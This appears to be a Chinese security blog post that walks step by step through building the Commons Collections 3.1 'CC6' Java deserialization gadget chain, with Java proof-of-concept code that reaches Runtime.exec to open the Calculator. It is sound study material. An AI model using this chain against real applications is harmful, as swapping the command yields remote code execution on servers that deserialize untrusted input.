CommonsCollections6 分析

首先查询下CommonsCollections6的前提条件,需要commons-collections:3.1依赖包。配置下maven仓库:

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

第二步看下ysoserial提供的cc6利用链。

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    by @matthias_kaiser
*/

其实第一次看到该Gadget Chains,可能感觉无处下手,那么我们就先一步一步的分析,看下自己能不能捋顺该链路。

首先先构造CommonsCollections6的POC,由于目前是处于学习阶段,之前文章写的有些东西内容可能有理解错误,所以我这里还是重新分析

以执行计算器命令为例:java.lang.Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); 

由于Runtime这个类没有继承Serializable类,所以我们没有办法使用上面的代码直接序列化该类,但是发现Class类是继承了Serializable类,也就是说可以通过反射来实现反序列化。现在我们将反射的代码怎么换成 CommonsCollections包中的InvokerTransformer方法

InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
        invokerTransformer.transform(Runtime.getRuntime());

不过transform基本不可能传一个Runtime.getRuntime()对象。所以我们需要继续看栈信息中的ChainedTransformer的类,看下源码部分

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

它接受一个Transformer[]数组,之后遍历调用transform方法,前一个对象作为下一个transform的输入。分析了发现InvokerTransformer是Transformer的子类,所以Transformer[]数组可以装下这些子类了。根据填鸭子教学,我们第一步先实现反射执行命令。

Class c=Runtime.class;
Method getRuntime=c.getMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method execMethod=c.getMethod("exec",String.class);
execMethod.invoke(r,"/System/Applications/Calculator.app/Contents/MacOS/Calculator");

Method getRuntimex = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimex);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(runtime);

第二步就是使用ChainedTransformer怎么封装上面的InvokerTransformer。

Transformer[] transformers=new Transformer[]{
   							//需要传入Runtime.class
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

上面的代码就差寻找一个继承Transformer类,并且能返回Runtime.class类。这里找到ConstantTransformer满足该条件,看下源码,发现ConstantTransformer构造函数中传入一个Object,然后在transfrom中给返回该类。

private final Object iConstant;   
public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

所以使用ConstantTransformer传入Runtime类。构造如下

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),

        };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

这里使用IDEA根据该函数寻找调用关系,很方便显示互相调用关系。如下图可以看到LazyMap中存在调用transform()。

image

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    /** Serialization version */
    private static final long serialVersionUID = 7990956402564206740L;
  
   protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
  
   public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
  
		//-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

那么继续改写Poc,改造后:

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        //chainedTransformer.transform("xxx");

        HashMap hashmap=new HashMap();
        hashmap.put("xxxx","zzzz");
        Map decorate=LazyMap.decorate(hashmap,chainedTransformer);
        decorate.get("xxxx");//触发反序列化

实际上运行程序后,发现根本没有成功弹出计算器,那么Debug下原因看下:

image

发现get方法中存在if判断,map.containsKey(key)获取的值为true。这里我们需要设置false,才能走到transform方法中去,那么方法就是使用remove存在的key值,成功弹出计算器。

image

完成CC6链路中的LazyMap.get的分析,不过要想知道哪些方法调用get方法,就太多了,无法一一分析。所以这里直接跳到TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    /** Serialization version */    
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;
    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }
  
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }  

这里有看到熟悉的身影,hashCode()方法调用了getValue(),而getValue()中返回map中的key值。这里其实方法和之前写的URLDNS 反序列化Gadget链路分析–第一篇基本上类似了。

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        //chainedTransformer.transform("xxx");

        HashMap hashmap=new HashMap();
        hashmap.put("xxxx","zzzz");
        Map decorate=LazyMap.decorate(hashmap,chainedTransformer);
        hashmap.remove("xxxx");
       //Object o= decorate.get("xxxx");

        TiedMapEntry tiedMapEntry=new TiedMapEntry(decorate,"xxxx");
        tiedMapEntry.hashCode();

运行下,看下效果。这里我们需要避免序列化的时候,就执行了该命令,所以后面需要对该进行修改。

image

最后一步,构造完整的利用链了。

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform("xxx");
        HashMap hashmap = new HashMap();
        hashmap.put("xxxx", "zzzz");
        Map decorate = LazyMap.decorate(hashmap, chainedTransformer);
        //hashmap.remove("xxxx");
        //Object o= decorate.get("xxxx");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "xxxx");
        //tiedMapEntry.hashCode();
       // HashMap hash = new HashMap();
        //hash.put(tiedMapEntry, "yyyyy");
        HashSet hashSet=new HashSet(1);
        hashSet.add(tiedMapEntry);
        hashmap.remove("xxxx");

image

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发